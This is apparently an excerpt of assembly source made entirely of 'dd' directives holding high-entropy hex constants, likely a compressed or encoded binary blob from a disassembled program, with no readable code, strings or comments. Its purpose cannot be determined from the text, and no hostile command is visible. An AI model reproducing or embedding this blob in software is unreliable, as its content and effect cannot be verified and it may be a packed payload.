		dd 9F4A00D3h, 401625B6h, 83780208h, 311AB200h, 0B3B9D7D4h
		dd 107A0138h, 0CF3FDA3h, 80FAB93Dh, 21D64EBh, 903119h
		dd 0CD88BB51h, 10E08650h, 0CD46600h, 83184CB2h,	0ABF33B09h
		dd 86311200h, 24405FAAh, 0F156900h, 8840541h, 89B202C7h
		dd 0E2F70BA2h, 0B04C3AE0h, 1452480Eh, 0CF26403Eh, 99036Fh
		dd 9229D031h, 0F2FB5AB9h, 190DB00h, 96F1F728h, 0F8300048h
		dd 0C7431C17h, 8003BE03h, 0C6057DF6h, 0FA2DE804h, 1F170088h
		dd 0F9018B47h, 0FFE68114h, 844F852Eh, 2307B90Eh, 7B97D929h
		dd 0B0A3000Ah, 8AD20F20h, 12001C44h, 754B2B42h,	0AD41F6h
		dd 51B82318h, 0E9968F82h, 2F9CB300h, 0CC2CAC33h, 94CE1D50h
		dd 0C6634773h, 20190BFh, 1E018A0Ch, 70FB8046h, 0B5CCF8D7h
		dd 2D0E03CEh, 2B0A69ECh, 248166D0h, 0FE78080Eh,	0FD58C061h
		dd 0F30025Ch, 28ACCBE2h, 26844FE1h, 623CC4Ah, 4EB2000h
		dd 0EE347F0Dh, 24C02630h, 392C0093h, 3F28E8F8h,	1C048D0Fh
		dd 0D89BC001h, 1340555h, 0CDFEE675h, 0F8D4E486h, 5905127Ch
		dd 3289F631h, 90461780h, 7703486Ah, 78F07E00h, 0DE29D9EEh
		dd 0FE00EC71h, 0E451C56Eh, 48ACBFBCh, 32008E1Fh, 92DF7430h
		dd 3007261h, 5420A2CAh,	0EA0B7643h, 1F110010h, 4CD07705h
		dd 0BF010AC3h, 565A90C9h, 0D5C05D04h, 1A97DEBh,	0FAFFB150h
		dd 0C0427D2Ah, 70074EDh, 0FE288840h, 7512C9h, 3C1E5AF2h
		dd 6C430253h, 7301FA00h, 90517497h, 8B440035h, 0ECF85442h
		dd 52005D36h, 195A8C68h, 0FE570926h, 0EB84Ah, 0FF1250A9h
		dd 0D32BF03h, 1B48AC04h, 35C0C69Fh, 0BFC5C14h, 8C7C3D74h
		dd 4C08F000h, 2F00B859h, 8304D250h, 2E01F835h, 0CD290Eh
		dd 900B1B22h, 0AC0325FFh, 338B4C79h, 6350E0DBh,	50C741Ah
		dd 1C753E07h, 701D802Ah, 91009225h, 0D41A1B0h, 3F29845h
		dd 161F4C22h, 0A09801B3h, 0F4004028h, 57037B0h,	0B847604Fh
		dd 8D736Fh, 6A6250FCh, 0F6386886h, 653A652Eh, 6BE84700h
		dd 378323Fh, 5511E04Dh,	2DA06168h, 3000FF64h, 1B2089CCh
		dd 0F445C7h, 0EE608691h, 0F808CB50h, 69C52C00h,	0AC8B8954h
		dd 34E683h, 8AEAA267h, 63C41618h, 0E0985200h, 0A16628EFh
		dd 25EC0071h, 97FFC02Ch, 8700F89Fh, 0C33FE283h,	0EFBC20Bh
		dd 9C2A59A3h, 4F53003Ch, 41575446h, 450052E0h, 726F425Ch
		dd 4C3C616Ch, 44003C6Eh, 6870C765h, 5200F169h, 46C04C54h
		dd 550350h, 6B73614Dh, 756CA056h, 94653Dh, 2AE3C38Bh, 12C3AB7h
		dd 60D7C7ACh, 2031D470h, 0E1D8A20h, 0AE408D41h,	93AECFAh
		dd 3FE800D8h, 58C2F748h, 1BEAE913h, 0DE747703h,	90751ED3h
		dd 77BBC36h, 0DC4A76FAh, 0E8075001h, 0AE1E2D37h, 0F6479C45h
		dd 0BE50E975h, 0C6C831h, 0A46B5C54h, 49AC08F3h,	0D3009AB0h
		dd 3C0C141Ch, 2B980Fh, 8F64121Dh, 92780551h, 0E03E307Eh
		dd 19A2004Ah, 2379DDD0h, 0C5942E96h, 0B2DA043Fh, 51318001h
		dd 6C034BFCh, 0ABD7CB02h, 41D8B88Bh, 120FADAh, 65580DDBh
		dd 0E859247Ah, 63020E6Bh, 0B82CE24Ch, 1C1E096h,	5B0D0351h
		dd 706731FEh, 0EBD81BC3h, 0D47539EDh, 8DE1D2Eh,	1C006F2Eh
		dd 3EA6734Ch, 6BE00F6h,	0C827B2Ch, 207F3834h, 75493700h
		dd 0A8E3453Bh, 0C9D90154h, 3981DB10h, 1A9AECD0h, 407578F4h
		dd 4BC3F300h, 57A821B0h, 596A0093h, 38D0684Ch, 0D1C247Dh
		dd 510039D3h, 6602C783h, 0F8AF00F2h, 6459550Ah,	0C3007F8Bh
		dd 290B0358h, 35CF0C8h,	96F7FC47h, 44C0B891h, 1126D480h
		dd 2401303Ch, 1A1C8F53h, 0F69009E8h, 0A5F0217h,	1886C0DEh
		dd 67E8E740h, 58FCA912h, 0D905A300h, 0E1FF5Bh, 0A5089F0Eh
		dd 0E802F061h, 53515200h, 818FF689h, 0F4500084h, 1058E012h
		dd 6E7E6463h, 69911900h, 60F57108h, 0DF2D000Fh,	0CA43B8Eh
		dd 0A0002FBh, 405A595Bh, 91E3FF0h, 2C45FC9Eh, 90C1300h
		dd 22000E74h, 4950811Dh, 23581Eh, 47257531h, 8BF09821h
		dd 0FF131000h, 2895F852h, 0E4090007h, 7FBAAC58h, 0EF00D4A3h
		dd 0E8060EAAh, 0E0759Dh, 43D8012h, 7601E141h, 0C26A1000h
		dd 0DF056B66h, 4FED48FAh, 359C1200h, 0C11C24CCh, 0F516DB2Ch
		dd 6A546200h, 3423D02h,	0A30C92E4h, 99D99808h, 147670D1h
		dd 0A04A200h, 0F09C550h, 0E573008Ch, 8B547FE9h,	77EA064h
		dd 12A45300h, 0C9967C9Eh, 418900F0h, 39800103h,	8A983DE9h
		dd 75EB0A02h, 60BE0F0Ch, 0F898F25h, 539A650h, 647CD7E0h
		dd 0E4001C68h, 6BDDBBE1h, 0EF106EA9h, 8A2F30h, 50280A5Ah
		dd 20A45211h, 8DE2421Eh, 76ABF0C2h, 0BF46E01Eh,	53E31E88h
		dd 0D31C4148h, 0ECF72683h, 8A00DA39h, 12850F16h, 1D814543h
		dd 400EDE38h, 6018508Bh, 74001448h, 0E816FC6Eh,	0A41B5Fh
		dd 0A29E0C4Eh, 840FD283h, 512EF000h, 14B216FFh,	8B2507E6h
		dd 45BC5E9h, 0CE898094h, 1A00EFFAh, 5A37740Eh, 3FE0A5ACh
		dd 76808B08h, 163B2729h, 0B4002077h, 0C2A15051h, 1365AEB3h
		dd 0EE2439h, 0A2BAAEBh,	0CAEE7B30h, 0FBE20C00h,	3B920BBAh
		dd 1EAB1D85h, 50154061h, 828C638h, 59EFFE00h, 74F1513Dh
		dd 48E0006Fh, 53020B04h, 0E202DB31h, 1B1A614Eh,	0A54161E6h
		dd 0FA1EBB60h, 5468005Fh, 0D348D12Fh, 0E8909B29h, 79247C00h
		dd 0B0FF0EE7h, 286D0014h, 8B2606A0h, 300D56Fh, 47C7045Fh
		dd 512D9Fh, 5760F931h, 0E3FF88A7h, 0AD36B907h, 50806F19h
		dd 0E891127h, 4108A890h, 0EBE92A40h, 0B8005EFEh, 2C8A51D4h
		dd 4586EC8h, 26911F74h,	52B28044h, 75001801h, 0EAE90A1Ah
		dd 9E62B9h, 2C444D42h, 2189084Eh, 67017F70h, 718D0559h
		dd 0C5EC3D09h, 0B50600A6h, 0EF16439Eh, 3F005A4Bh, 84F87424h
		dd 48041h, 0E64F3BD8h, 64176775h, 57B5D41Ch, 9CE269C0h
		dd 189093Eh, 610BE842h,	0C48C74CEh, 695CDC7Fh, 0D075002Ch
		dd 4B08C683h, 0F2C000B2h, 0A161A486h, 26031499h, 0FF41C4B8h
		dd 0E992F88Dh, 946D0E1Ch, 2BEE5923h, 449E21A0h,	27482214h
		dd 6CF11E42h, 0F238689h, 56986136h, 0A3E88844h,	1E5BEA30h
		dd 8F92899Ah, 8D20CF86h, 93E8EC53h, 9879105h, 0C4E00463h
		dd 87BE1h, 2480A48Ch, 42C78F54h, 31288500h, 8BDFA3ECh
		dd 2208306Ah, 5684DBDEh, 2489D100h, 28603949h, 54050F5Ah
		dd 53A05755h, 9507C888h, 444E4200h, 52E9F62Fh, 8654008Bh
		dd 6AA0C730h, 83018897h, 0A427BEAh, 0D471B089h,	60EC7931h
		dd 39FD0004h, 1EA80DF0h, 9200A4B5h, 0C9C543EAh,	3BCC031h
		dd 1C0648DFh, 12D85910h, 28001189h, 49A78D6Fh, 473A6Ah
		dd 0C664955Ah, 0C49674B6h, 5442E00h, 0D103E85Dh, 0E2FF00C7h
		dd 4D588038h, 1500CD5Eh, 5034C056h, 0C2BE02h, 4AB80C52h
		dd 3F1FFC5h, 3854491Ch,	86E97282h, 92836048h, 0C0070020h
		dd 5C742C7Fh, 0F018E95h, 57221509h, 20C8052Dh, 0BF8700DDh
		dd 483D1ECFh, 0EB3F4E80h, 84713060h, 83073Fh, 369429E8h
		dd 52E130E7h, 43963D00h, 3814112Ah, 93762Dh, 13462E33h
		dd 0EB24060Fh, 0FDEA3A1Dh, 502F18C0h, 77E968Ch,	0B02C1D26h
		dd 1E2A40C8h
		dd 781C3DC9h, 229DCD7Ch, 6567CF0Fh, 87C71A21h, 0CE471627h
		dd 0D8871267h, 0DAC70EA7h, 0D9E70AE7h, 0CAC406E0h, 16272EFCh
		dd 8D900536h, 808E1D8Bh, 6C01E3E8h, 400C25Dh, 0F3942467h
		dd 402993h, 2690F1FAh, 7074503Dh, 0CE00A27Bh, 99CB9238h
		dd 1D90836h, 72F65232h,	0EC3B8189h, 300053D0h, 1817438Fh
		dd 12381D74h, 0BCFB82h,	0B1D889ABh, 0B600EF84h,	4BFA4419h
		dd 74E1Fh, 46A3120Dh, 945C3749h, 0D9B8850Fh, 14510204h
		dd 6DBB878Ah, 124F60F0h, 0AA090752h, 505B290Ah,	94ED2677h
		dd 68F6E300h, 0A005F8F5h, 0D81A01B5h, 0BAC804Ah, 0C8B63047h
		dd 38657502h, 0C02E536Ch, 7F9836Eh, 39A174FFh, 9DF5F001h
		dd 0A4008922h, 68A2E984h, 0D49CBFh, 3E434B93h, 57E148C2h
		dd 70E80C00h, 0E9A79504h, 505800BEh, 7E1DDB85h,	0F0004B12h
		dd 4DE4433h, 9749D4h, 7F24D031h, 0C4BA3DEEh, 0B214EB00h
		dd 73E809BDh, 0A96C0023h, 0B4DF9A3h, 3CFE5F3Eh,	0A1856000h
		dd 0CFDFE8A4h, 30C3034Bh, 78A2DB33h, 341E5E90h,	3B121400h
		dd 1A057EF3h, 0C1DF0004h, 49A81D3Eh, 28EEB127h,	4AEC7F00h
		dd 1151E360h, 9CBE00BAh, 0C47D8D04h, 0A790E9B9h, 8FA5F301h
		dd 2164BC05h, 1429B20h,	10B02D89h, 0EF84B41Dh, 1508A4F8h
		dd 8D87AC00h, 0DF5C44Dh, 9377D17h, 0FC7D8397h, 35B5A100h
		dd 6792008h, 0C92BE803h, 880C45FAh, 1CC0A240h, 4359481Dh
		dd 0C4151BB8h, 0FF03E990h, 2F967100h, 2836156h,	417E1D05h
		dd 3D2580EEh, 7594C81Ch, 0C6180D1Fh, 1132481h, 26F95AD9h
		dd 4CBB20h, 0CB222C48h,	95D3E834h, 0A345C501h, 18247444h
		dd 3C9F30h, 160646B2h, 6B202778h, 0F5B93805h, 2080EE93h
		dd 14E1C3Ch, 124A892h, 0E832A9C8h, 0EC0E040Ch, 0C1D210ACh
		dd 0BBBF30C7h, 0E6803CB9h, 115ABE5Ch, 13001280h, 0F294834Bh
		dd 383C22h, 334AE877h, 30BB354h, 0D0299200h, 595C44BBh
		dd 1B98FFh, 0E68A0FE2h,	57C01750h, 63E8C102h, 80B4ED9Ah
		dd 46EA32E3h, 23F011h, 77FF0C1Dh, 0F820061Ch, 3E933700h
		dd 5D2656A4h, 73870015h, 19D8F70Fh, 0C9074045h,	32BBB684h
		dd 3885609Eh, 1806BEh, 250B34BFh, 0CE587B80h, 83161C0Fh
		dd 0BEE0203Fh, 5F8917h,	6F3787D0h, 0FBC2E803h, 75231200h
		dd 381A08EFh, 47743E40h, 25581383h, 0EC88A34h, 0BA001685h
		dd 0B88C4228h, 1FA27214h, 803E8FAFh, 0EB0B12ACh, 0CF01C62h
		dd 75226000h, 6ECF7013h, 0B4150048h, 0E186926h,	0F212163Eh
		dd 0D60029ADh, 0A750204h, 0F64C28BEh, 268907FEh, 0F0080C43h
		dd 7622012Bh, 503EB2F8h, 0AA18005Fh, 6DFBE8C0h,	192E1F37h
		dd 3B0079FDh, 587404CCh, 22007F06h, 0A64BEAEBh,	75482Dh
		dd 285314C2h, 0C01292B7h, 980D1500h, 0A03B831Ah, 66F0041h
		dd 8BCBC660h, 560003C1h, 0FB6C097Bh, 7A5E0438h,	508C00EBh
		dd 6974726Fh, 73036EA0h, 3D437920h, 3FFAA070h, 7A680067h
		dd 2963281Fh, 39003181h, 0D32C3338h, 1CCCBAFh, 3718B76Dh
		dd 60918990h, 9707E9FBh, 238FF5ADh, 0B75C7C90h,	8B8400E3h
		dd 1C2ED110h, 5138C2C7h, 0F84A072Dh, 0F0D07C49h, 0EFF6Ah
		dd 8D5007CBh, 57E8D242h, 6B0068F8h, 60C47858h, 2C8BD618h
		dd 275513h, 0EC80342h, 29E40865h, 4EEAB000h, 6CA3DAFCh
		dd 24510030h, 1A7F4145h, 1700F5B4h, 93750542h, 0FAFE227h
		dd 13481864h, 0F65A00DFh, 0B78C97EBh, 0A1876E00h, 4C4B147Ch
		dd 21440095h, 2A7E150Ah, 203B3BF9h, 501C0054h, 95F8375h
		dd 10180026h, 895A081Fh, 6FF4FC97h, 1768F803h, 0F86B04C6h
		dd 38BA546h, 25C0E390h,	0F8E1C1D6h, 0FEF9E458h,	96BCC700h
		dd 7A980914h, 95F00053h, 3277E45Ch, 0F0026CFh, 0EC96573Bh
		dd 0F38597h, 0D9F1D3F8h, 0B35EEAF2h, 97F8F00h, 8223C74Ah
		dd 816700EBh, 8B7854FBh, 64002C7Dh, 9708E0BEh, 40CFC90h
		dd 55532850h, 7B40C010h, 0A90086F1h, 0D7E27B8h,	0C70441h
		dd 323ACEE9h, 0ECD93306h, 6098B57Bh, 0C5204401h, 16225498h
		dd 293160h, 80CA4607h, 0C09CB8B4h, 89145200h, 95D1B9E2h
		dd 175B032Ch, 41151268h, 3A522198h, 83D50A3Dh, 1945132Fh
		dd 0FD02C0E2h, 0E03E60Bh, 695E3A62h, 0ECE8EB01h, 1CF1306Ah
		dd 295AD100h, 2712E5E4h, 41240065h, 66522D30h, 620C9B3Bh
		dd 70340A20h, 82C30E0Dh, 6AF280Eh, 0EB081941h, 496892E4h
		dd 763A8A00h, 7621D725h, 3C901FC2h, 4252C38Ah, 57C0014Ah
		dd 891D5150h, 0F20720D7h, 3B0AE5Ch, 158D1F7h, 5F9AC101h
		dd 70A41992h, 0CB03ACB0h, 0EA0F7061h, 0F234D8FEh, 8B770103h
		dd 35C9FC7Bh, 0DC8E43Fh, 0E2840F00h, 8A2734FDh,	798B000Eh
		dd 85B97EFCh, 391EFA01h, 77EC02CEh, 7A4A2C00h, 4E0E41h
		dd 2413269Ah, 0F5A48F46h, 6217AA00h, 83AB42F7h,	0AF3D07D0h
		dd 91618828h, 213BA044h, 517460AFh, 68BC0800h, 0F9233450h
		dd 0E94F00C0h, 0ED42933h, 0D3003958h, 250CE16h,	3FC5Fh
		dd 49756E46h, 0D809DFC7h, 0B34B8B00h, 0A2FAF277h, 53030063h
		dd 0A5580F91h, 5C004320h, 0F84F33F7h, 48A48CFEh, 0CA000271h
		dd 0E6A0BE9h, 5400AE51h, 0A650528Dh, 8BED40h, 104F944Ch
		dd 41112FD7h, 714AFC00h, 305A56CFh, 8BC60007h, 6F149C44h
		dd 0B800F5D3h, 5501D834h, 0D054CEh, 7E2AE975h, 0ACC8EF82h
		dd 5AC44A00h, 248D5801h, 0E0FD0094h, 3E6CD92Ah,	3900F145h
		dd 8FC709D0h, 3EA5CB29h, 8200687Fh, 0AE1C8B6Bh,	0C05857DCh
		dd 277007Ch, 5213C201h,	0B4EA00C1h, 1FE40E4Fh, 4A145888h
		dd 2C954E89h, 4003A310h, 0E0E6C7C6h, 7F786h, 0FE5A6FBEh
		dd 2C2250E0h, 41813800h, 34761702h, 0E3A1E18h, 0E3678410h
		dd 0CA7DC0B8h, 300006E1h, 0C0012773h, 7F23EB2Ah, 0D4FA61h
		dd 151307D6h, 0CF62B25Ah, 0A4D0E301h, 2A590ACh,	1F850D8h
		dd 0B078C442h, 60119743h, 8001DB44h, 0FB3AF9B8h, 2822C77h
		dd 0FA34A86h, 390225D0h, 13A424DBh, 9D4AC190h, 0C51FD868h
		dd 80CC1EE7h, 36D0895Bh, 7E008BF8h, 0FC58252Dh,	70261BC0h
		dd 27C754Ah, 1F7DDA39h,	5068D329h, 9E000519h, 0F416117Fh
		dd 6394C9h, 313A7D25h, 89E50AD2h, 2A93D900h, 126CB113h
		dd 9ED50F5Bh, 1FF6BC8Bh, 0C0575F87h, 0FC304086h, 7C004E3Fh
		dd 7D123D4Ch, 430126h, 0F129227Eh, 2D9CFE9h, 3F42BC3Eh
		dd 8DF200F9h, 7F4D3A04h, 52FB0724h, 10FAF0A1h, 0DF4C4762h
		dd 4087A900h, 70317992h, 4F8B0088h, 8334F1FCh, 7803044Ah
		dd 46068A1Bh, 147ED9C1h, 10D5F4h, 3BCB8937h, 15A6F3C3h
		dd 0C746000h, 5AEC128Ah, 57FF051Dh, 0C0415E08h,	273AF875h
		dd 6A985100h, 0FF314390h, 489B0028h, 23AFC2FCh,	0E0007883h
		dd 0EC1D756Fh, 0F92A09E8h, 1C87A1FBh, 0A5F884F5h, 8B75003Ah
		dd 701A40EEh, 0AE0790FCh, 28DC3050h, 949B0C60h,	0C93207AAh
		dd 0B021FAD2h, 477CF139h, 9D4BB600h, 4502C80h, 0B86F75E9h
		dd 0D43400B4h, 455DB2CAh, 0C81D30DBh, 0F31EF729h, 593D4080h
		dd 0DA8906h, 1347E95Bh,	9C36C34Ah, 83A8B83Fh, 1E0EC81h
		dd 0E2FAE0A3h, 41B5007Ch, 903C37E8h, 7900F01Dh,	7D28F320h
		dd 1F240A80h, 403175FFh, 856AE3DBh, 1F07AE15h, 0C45B1C59h
		dd 0AAF8C910h, 504D0322h, 0F5743158h, 0B586C194h, 0C066F932h
		dd 87FB0E4Bh, 0CE4652CAh, 10584960h, 0D1350096h, 590CD722h
		dd 50009A20h, 32125B3Bh
		dd 0EC8814h, 8A532E44h,	4F3924A8h, 6113B300h, 897C620Eh
		dd 4CE21D06h, 5A94075h,	0FF0912A3h, 6DE42E00h, 0EC7F4F14h
		dd 0FE52039Eh, 0E0F94B7Ch, 2089DDC1h, 0D600FAEDh, 0E506ADA0h
		dd 8001F4h, 7BBFF85Ch, 0A80B0ACEh, 0C1E4600h, 0D3F5890h
		dd 7F6200A0h, 0F7B400Eh, 881266C8h, 0D80012B2h,	5893598Eh
		dd 0CF22F66Fh, 7FC0012Ah, 0E9D6980Ah, 0DBD24503h, 0F0F35214h
		dd 78EB19h, 30071A91h, 1DCC2C58h, 1A86A58h, 0D4612D44h
		dd 10F0BB28h, 433E4C0h,	0FEF39450h, 89A0C052h, 54008BD5h
		dd 2C8E0A2Eh, 0CB5C03h,	4A0D8F02h, 638AB406h, 241D2D0Fh
		dd 351940E8h, 771A493Dh, 37FD0171h, 5DF01650h, 431ED4EBh
		dd 0E8730400h, 0F243846h, 0F2940077h, 54A97D11h, 9D0049F1h
		dd 0D1285C61h, 984AE98Ah, 70B31F84h, 0DA48C08Eh, 0C6087544h
		dd 7761C400h, 0E57F9C8h, 708E075Bh, 306A2D4Bh, 463A7620h
		dd 0CD25F50Fh, 554F409Ch, 7740561Ah, 287A7E59h,	5DFD6D0h
		dd 1C2F89DBh, 41918024h, 14039BCCh, 0CE920BFAh,	5749A8D0h
		dd 0D45D003Eh, 0D8CCB056h, 4B002B31h, 22CF2529h, 9B3D09h
		dd 0AA1DD5AEh, 5098BEE1h, 0EF335600h, 48CD832Ah, 0BD5B0971h
		dd 5F80325Fh, 84F85A85h, 0FDB21C00h, 0A81E532Bh, 0BF3100AFh
		dd 0D21D1499h, 0F802BB85h, 19385755h, 606FC2C7h, 0BD0FDCh
		dd 10C2731Bh, 23DE0892h, 0F77993F2h, 765E938h, 0FA832875h
		dd 0E0EE72E7h, 26BD9981h, 10372EB4h, 190E3DF6h,	73E02A56h
		dd 27C7661Ch, 0E9289102h, 0E0485E25h, 8BA18Ah, 0E4D414A3h
		dd 88909DA4h, 64836602h, 0C02A8038h, 1818764h, 5F3E868Dh
		dd 4084F742h, 0EB2720CEh, 51FF100Ch, 419FC15h, 0C3A78AAEh
		dd 6071805Ah, 7304123Ah, 0DB77B111h, 0E78611C5h, 0C41007Ah
		dd 7099C3CDh, 14057F3Ah, 757E0FB1h, 301D7980h, 8F580002h
		dd 72BD0486h, 1300C6A8h, 0E5DA0908h, 0FE4C8A52h, 1E507A0Ah
		dd 0BF6493C3h, 981AB80h, 1C850FC0h, 96883900h, 0F02FE0A2h
		dd 0FC021DE4h, 2D51407Dh, 0A9104B9h, 31345901h,	458D12D8h
		dd 0E7B0BF8h, 558F6833h, 40DC2D60h, 0D476D84Eh,	0E43E4A98h
		dd 9C9294F2h, 2C3503F1h, 88E3CCA8h, 1385150h, 0CBD48A23h
		dd 7056B2CFh, 6B00B387h, 0B5657C25h, 797B1D83h,	62CD005Ah
		dd 0F926845Bh, 7014923h, 2D350371h, 27DCE24Fh, 53C800FFh
		dd 2C30EB4Ch, 0CF02D1D6h, 0FE8AE7E8h, 0CA82E095h, 0C0756Dh
		dd 0C336835h, 0ACDD5634h, 1209200h, 5482ABAh, 2F2200FDh
		dd 9B511998h, 32008C07h, 0F80A0389h, 0E6443EAh,	2FC0C08h
		dd 9A34EB60h, 7D008F4Ah, 0D15727AAh, 3515C18h, 2B4EAD53h
		dd 28BBA5BEh, 44959C88h, 8A971202h, 0C03BFD01h,	72EE3D6h
		dd 0D266E56Ch, 57A5C7A3h, 9794F008h, 0D800E0C3h, 7E85109h
		dd 7C5BA2Fh, 6962279Ah,	763AC05Fh, 6D01EE74h, 8BDE9C53h
		dd 0D9C187EFh, 3D8E230h, 82DF0D75h, 0A0A4E84Ch,	3203E259h
		dd 0A4133D59h, 305A875h, 210801FBh, 0A31D319h, 0F7D5C048h
		dd 22135500h, 4271109Dh, 949600B4h, 93CBE658h, 0E77BC295h
		dd 2F9B3000h, 0BF4B2D87h, 5EC00034h, 0D383D4CCh, 2177F869h
		dd 0A3110A00h, 63579D5Ch, 0B9510079h, 914C4DB0h, 0F600D6CEh
		dd 6A65AF5Bh, 1E46728Ch, 43B99944h, 0A58B7D89h,	0EF9C13C0h
		dd 0EC830600h, 0FB8D810h, 78207B96h, 90100B9h, 6531F3E8h
		dd 2B0F27B6h, 6FAA56B0h, 2499E0C4h, 595350h, 448CDD58h
		dd 70FF1B1Ah, 0C4060C00h, 33B8040Dh, 891200D9h,	5B3936E2h
		dd 551F2CA2h, 807AE011h, 0AD05D354h, 91F849h, 6CC88925h
		dd 0A34A2471h, 0A540400h, 3870B506h, 47640027h,	3B74A607h
		dd 8D000583h, 85E1D11Bh, 188A910h, 6AE48661h, 0C0953F1Ch
		dd 0C8002C97h, 6B7C818Fh, 0A5FA10h, 0E8067525h,	6602EBEDh
		dd 1C453303h, 0F115FC51h, 0CDF86010h, 77190074h, 7204583Bh
		dd 8010A67h, 0C0705A4h,	0F5E0C975h, 0B0360084h,	0EEE7F432h
		dd 0F0095EBh, 8A129166h, 19A810h, 0EF755CC2h, 6FB8F844h
		dd 64B05B00h, 0C94BC4B3h, 0A3300034h, 9D747A68h, 130F6A82h
		dd 871B7501h, 84D0C3EFh, 7A88214Ch, 53CF022h, 9D7D83F4h
		dd 5598C0C2h, 85001018h, 5077CDB1h, 0F6B9D36Dh,	0A43400F4h
		dd 8C12A515h, 450043E8h, 356536E9h, 371C8Dh, 3ADC3880h
		dd 1780F08h, 0E0EEEDFDh, 700015D5h, 0E814025Bh,	6633D7h
		dd 823B8013h, 8D26EA0Fh, 0A76A3Dh, 0B747C53Dh, 565DD6h
		dd 0F96C34Ch, 2752BF3h,	1468D0Fh, 6268C0AAh, 844BE8h, 39554C64h
		dd 0C749F8CEh, 936F400h, 1F8203D0h, 90FA0081h, 618F0FA4h
		dd 40488B92h, 3348002Eh, 35C65203h, 0B61C0765h,	0C75CC3E1h
		dd 744450E3h, 0C274DEC7h, 0E9856703h, 0A88921DBh, 72047E2h
		dd 3A2CD4CFh, 0C203E056h, 4EE03D40h, 0C6487F00h, 33A13584h
		dd 43A9035Ch, 40AC4C41h, 37A7F090h, 3030976h, 20DF7285h
		dd 0FF5FA8C7h, 2A0200D2h, 590B5D1Ah, 6B0EC1CCh,	0C06E7265h
		dd 321D336Ch, 7B643C2Eh, 920FF594h, 6F673C70h, 61500073h
		dd 4E7468EEh, 51006D7Dh, 0A8231441h, 0FFEE010h,	71A75292h
		dd 40FFE3CEh, 0C68F60ABh, 0E100EE45h, 68D9467Bh, 24BDE03Fh
		dd 87DC91h, 10F801C5h, 1E3974B1h, 7023004Eh, 0C47275E2h
		dd 64210052h, 71014B46h, 361D0EE8h, 6000C7B1h, 92B2A5C3h
		dd 6F903FD4h, 6400EB3Bh, 967AC5ABh, 58007352h, 784B1A37h
		dd 906850h, 0FC3DB3DAh,	466BF053h, 0BF16A60Fh, 0C793001Eh
		dd 0E892AB34h, 6A230B43h, 0EC803305h, 2BEB038Ch, 261B6F0Ch
		dd 0F61811h, 2113BD80h,	0BEAF0A48h, 0F37D9307h,	678EF90Ch
		dd 9FE0CEEEh, 22D12h, 0BD486D23h, 3250E52h, 26783Ch, 2E2C754Bh
		dd 0E8102904h, 0F09500C9h, 6D74820Ah, 3D008E43h, 0AF5115F6h
		dd 755329h, 47AB021Ch, 0D6B63392h, 4613147Ah, 0C9004C69h
		dd 89265B8Fh, 73041E20h, 0A92443F5h, 0E0DBC6C9h, 666F5380h
		dd 61777400h, 0CA655F72h, 0DE48001Ch, 0FEF9633Fh, 0D83D9173h
		dd 0FBEB802Bh, 6E232938h, 10BC1F13h, 0A1FA80A4h, 0F8357F14h
		dd 38858700h, 0B5213912h, 0A4707CFh, 0E0242758h, 1322A654h
		dd 0B1E2040Fh, 9BC2A088h, 6F6621h, 753958E7h, 0E5B6C74Eh
		dd 0A6385C00h, 0BFA37756h, 3490009Bh, 0FDCF51D9h, 64031019h
		dd 0B5ADA648h, 8FE8C0E0h, 0D3371F49h, 0FC863FA2h, 5205503Bh
		dd 230C5100h, 0EB45A1C2h, 0E73E81Fh, 0BC34E8Bh,	553BC880h
		dd 0E413B4FCh, 2E030A37h, 0E0068E4Fh, 48EAFA2Dh, 0C20FAD6Eh
		dd 9A2C0A6h, 0CB41FCEEh, 0F13DCCE3h, 80047B38h,	2A7D3E81h
		dd 0AB15A68h, 998438Bh,	0B3E803EAh, 50727B99h, 6F0CBC00h
		dd 0F3F4120Ah, 0E87F47Ch, 0CDE31328h, 0C0A7C845h, 89582A2h
		dd 3C00F178h, 0AC042512h, 48E09378h, 1000B62Ah,	8D520C06h
		dd 4A000EBAh, 214BC22h,	2993E8h, 0E6A2D272h, 11C98E7Dh
		dd 6DF81F00h, 1DF1F35Eh, 0B18B0051h, 1A7EA256h,	3C00C9EDh
		dd 0AEB77DF2h, 52AAE9h,	62BB4433h, 21590504h, 0F7EB3400h
		dd 9612CADh, 76747FB0h,	745B48E8h, 49017500h, 0DC76DA19h
		dd 894C3001h, 6CB0C46h,	17FF20h, 45C3B12Dh, 9B480B74h
		dd 2EFC207Dh, 3AC0E900h, 4BB8621Ah, 0F2BA0380h,	40B95F31h
		dd 1C46C7D0h, 65D6E800h, 827A079h, 50C4FA18h, 0B80FE502h
		dd 29C00313h, 62491778h, 4424A0F7h, 14002018h, 597E8088h
		dd 222648h, 0FB96B2AEh,	10510F99h, 7060520Ch, 852046h
		dd 0FF32DA53h, 8920EB3Ch, 7E810600h, 8BB3042Ah,	63A600B8h
		dd 4EFF1FA3h, 0EA0050EEh, 7BE82836h, 44C874h, 812D8CC9h
		dd 6A96730Bh, 46E12C07h, 0AB303950h, 5CAD2Ah, 0B1D58990h
		dd 968D1361h, 7C2EB900h, 4736FF24h, 0A85A0165h,	0D68B2280h
		dd 5CFD86Eh, 0BC074C79h, 1A1D0906h, 85405B80h, 2A8801F9h
		dd 4AC2572Bh, 15472019h, 8023A33Dh, 22EB5D0Ah, 1491C6h
		dd 8AB29554h, 0F66A5840h, 5E0F617Eh, 2083E8F5h,	3B5374B4h
		dd 0B1223FB0h, 6FC91781h, 607E316Bh, 20736C0h, 0FA480775h
		dd 5EE4B1E0h, 0A47CC3h,	23246D7Ch, 69B81188h, 0E9EB0402h
		dd 809881A2h, 0DBF08BB3h, 0A488008Dh, 49CF9092h, 2403D414h
		dd 0EEDB108h, 4BCAE0EAh, 143148E4h, 5C181A00h, 1C149FB3h
		dd 4CE41190h, 7A3E2400h, 1B13549Ah, 0B08200B5h,	87D882Ah
		dd 0F80E1C90h, 200AAE11h, 75CDFE07h, 0C30B02A4h, 8A94DE28h
		dd 4FBABFC0h, 0E6F34Ch,	0EF461CD3h, 20C30Eh, 0F718AFA6h
		dd 0E9B767B8h, 0A97231Dh, 0E479254Fh, 7580961Ah, 3C2AA1D8h
		dd 0E8950EAh, 0B400FA83h, 85541977h, 6032198h, 132453E1h
		dd 41C5E94Eh, 98042CD4h, 0FC480E0Fh, 0F0C015EFh, 5CC04B3Fh
		dd 784A81E4h, 1A750A00h, 73BB9A4h, 0A573E3C3h, 8A3D50F8h
		dd 80011109h, 48302F9h,	0E1F46B42h, 1D70FFC1h, 0B822000Dh
		dd 0B046A868h, 9C0FC41Ah, 600A3D32h, 81412919h,	0EBBF0074h
		dd 764850DEh, 58005216h, 0B472114Ch, 0EC04C601h, 40FF001Ah
